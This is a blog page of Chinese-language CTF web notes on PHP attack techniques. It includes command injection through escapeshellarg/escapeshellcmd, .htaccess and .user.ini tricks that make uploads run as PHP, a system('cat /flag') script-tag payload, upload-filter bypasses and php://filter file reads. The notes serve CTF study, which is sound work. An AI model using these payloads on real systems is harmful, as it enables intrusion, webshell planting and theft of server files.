Manu Zhu

穷者独善其身

0%

CTF WEB Notes

CTF WEB

PHP相关

  • 利用scapeshellcmd逃脱escapeshellarg单引号的束缚

    传入的参数是:

    1
    172.17.0.2' shellcode'

    经过escapeshellarg处理后变成了

    1
    '172.17.0.2'\'' shellcode'\'''

    即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

    经过escapeshellcmd处理后变成

    1
    '172.17.0.2'\\'' shellcode'\\'''

    这是因为escapeshellcmd对\以及最后那个不配对的引号进行了转义:

    最后执行的命令是

    1
    curl '172.17.0.2'\\'' shellcode'\\'''

    由于中间的\被解释为\而不再是转义字符,所以后面的’没有被转义,与再后面的’配对成了一个空白连接符

    所以可以简化为

    1
    curl 172.17.0.2\ shellcode'\'

    即向172.17.0.2\发起请求,并执行shellcode。

  • php 单引号只会解析转义字符

    1
    \\、\’

    双引号则会解析变量的值,同时解析所有转义字符

反序列化

  • 在$v可控的情况下,可以传入元素为一个对象和函数名的数组,这样$v()就能调用这个对象的方法
  • php反序列化逃逸参考这个https://xz.aliyun.com/t/6718

文件上传

  • 低版本ngnix .htaccess 解析漏洞的利用:

    1
    AddType application/x-httpd-php .png

    可以将png文件解析为php

    1
    <FilesMatch "1">SetHandler application/x-httpd-php</FilesMatch>

把文件名包含1的解析为php

  • php还可以写作php3,php5,phtml

  • 对<?的过滤可以用下面这个语句绕过

    1
    2
    <script language=php>system("cat /flag");</script>

  • CGI/FastCGI 模式的服务器上.user.ini的利用

    auto_prepend_file和auto_append_file我们指定一个文件(如a.jpg),

    那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:

    1
    2
    require(./a.jpg);

    这两个设置的区别只是在于auto_prepend_file是在文件前插入

    auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

  • 双文件上传绕过同时上传两个文件

    第一个文件为合法文件,第二个为马。php判断第一个文件合法即令 EnableUplad 的值为 True,是第二个文件成功绕过。

文件包含/读取

  • file_get_contents:

    1
    2
    3
      $str = $_GET['cmd'];
    $a = file_get_contents($str,'r');
    if($a === "XXXX")

    这时需要给cmd赋为php://input,这样就会读取post中的内容,但post格式不能为 multipart/form-data。

  • 目录穿越时是不能出现文件的,只能是目录。

  • include:
    读取文件时可以利用

    1
    2
    file=php://filter/read=convert.base64-encode/resource=flag.php
    file=php://filter/convert.base64-encode/resource=index.php

读取文件内容。

  • data:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    data:,<文本数据>
    data:text/plain,<文本数据>
    data:text/html,<HTML代码>
    data:text/html;base64,<base64编码的HTML代码>
    data:text/css,<CSS代码>
    data:text/css;base64,<base64编码的CSS代码>
    data:text/javascript,<Javascript代码>
    data:text/javascript;base64,<base64编码的Javascript代码>
    data:image/gif;base64,base64编码的gif图片数据
    data:image/png;base64,base64编码的png图片数据
    data:image/jpeg;base64,base64编码的jpeg图片数据
    data:image/x-icon;base64,base64编码的icon图片数据

  • 包含session

    session默认存放位置

    • /var/lib/php/sess_PHPSESSID
    • /var/lib/php/sessions/sess_PHPSESSID
    • /tmp/sess_PHPSESSID/tmp/sessions/sess_PHPSESSID